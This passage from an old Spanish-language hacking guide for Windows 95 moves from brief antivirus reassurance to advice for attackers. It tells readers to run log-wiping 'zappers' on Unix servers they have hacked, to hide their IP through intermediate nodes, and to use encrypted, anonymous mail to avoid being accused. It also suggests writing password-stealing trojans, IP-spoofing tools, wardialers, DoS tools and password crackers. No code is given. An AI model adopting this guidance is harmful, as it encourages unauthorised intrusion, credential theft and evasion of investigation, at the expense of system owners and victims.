Los virus son una de las peores pesadillas, pero en realidad no entiendo porque, ya que son solo programas. Y no son dificiles de controlar. Solo conviene tener un buen antivirus o varios, si, tambien los hay por internet a patadas y gratis.

Incluso muchos virus se pueden anular mediante un par de comandos del MS-DOS, es simplemente conocer un poco los virus, logicamente se sale de la tematica de esta guia. Pero la realidad es que no hay que tener miedo de los virus. Si nuestro ordenador esta infectado, lo primero que tenemos que hacer es calmarnos, luego hacer una copia de seguridad de nuestro disco duro (da igual si esta infectado), por si el virus, en el peor de los casos borra el disco duro y ahora buscar una vacuna disponible.

Si fuese el caso que nuestro antivirus no quita el virus, pues simplemente hacemos una copia y lo enviamos a alguna empresa sobre seguridad informatica ya que seguro que nos sacan un antivirus.

 

6b. Protegiendo nuestras acciones

Esta seccion esta enfocada a esconder nuestros actos hacking por Internet. Ya que todo lo que hagamos dejaremos huellas y por desgracia la gente no se entera de esto y deja muchas pistas.

 

6b1. Borrando nuestras huellas

Cuando conectamos a un servidor, este graba lo que hacemos (cuando hemos conectado, como, desde donde y varias cosas mas), por eso hay que tener mucho cuidado.

La mayoria de servidores que hackeemos por Internet seran unix, conviene tener a mano “zappers”, son programas que borran nuestras huellas en el servidor. Existen muchos programas para este proposito que funcionan bajo Unix. Solo los tenemos que compilar en el servidor y ejecutarlos. Por desgracia al usar Win95 no podemos compilarlos en nuestro ordenador y subirlo por FTP pero algo es algo.

Tambien tenemos que procurar esconder nuestra IP, hay muchos metodos para ello, la mas facil es usar nodos (servidores intermedios y asi dificultar nuestro rastreo).

 

6b2. Encriptando nuestro correo

Conviene encriptar nuestro correo, sobre todo si esta relacionado con el hacking, ya que asi nadie podra saber que pone y acusarnos de nada. Siempre podemos alegar “Privacidad en los Datos” :). Al igual que antes hay varios paquetes de PGP para mail.

Incluso es recomendable el uso de cuentas anomimas de correo, aunque de esto la gente esta mas concenciada.

 

7. Sugerencias para un mejor hacking

Aqui hablare sobre algunas ideas que pueden potenciar el hacking en Win95 y la creacion de nuevas herramientas.

  • Programas troyanos que capturen el password del acceso a Internet
  • Programas para IP-Spoof
  • Creacion de herramientas de redes para Win95
  • Wardialers
  • Programas para atacar otros Win95 (DoS)
  • Nuevas Suites
  • Programas crackeadores del passwd
  • Programas criptograficos
  • Programas eliminadores

 

8. Obtener informacion

Todo el mundo esta harto de ver cientos de web’s donde no hay nada o todo esta repetido. Pues ahora os pondre unas pautas que seguir para obtener la mayor fuente posible de informacion.

  • Web’s sobre hack (que decir)
  • Web’s sobre seguridad Informatica (aqui siempre podemos encontrar muchas cosas, que nos podran servir)
  • Los RFC (Informacion tecnica sobre Internet, protocolos, seguridad, etc…)
  • Libros de colores (Documentacion tecnica sobre seguridad en muchos aspectos)
  • News (estar en un grupo de news y asi recibir noticias de lo que pasa)
  • Mailing lists (aqui estaremos permanentemente informados)
  • IRC (podremos hablar con otros hackers y cambiar opiniones)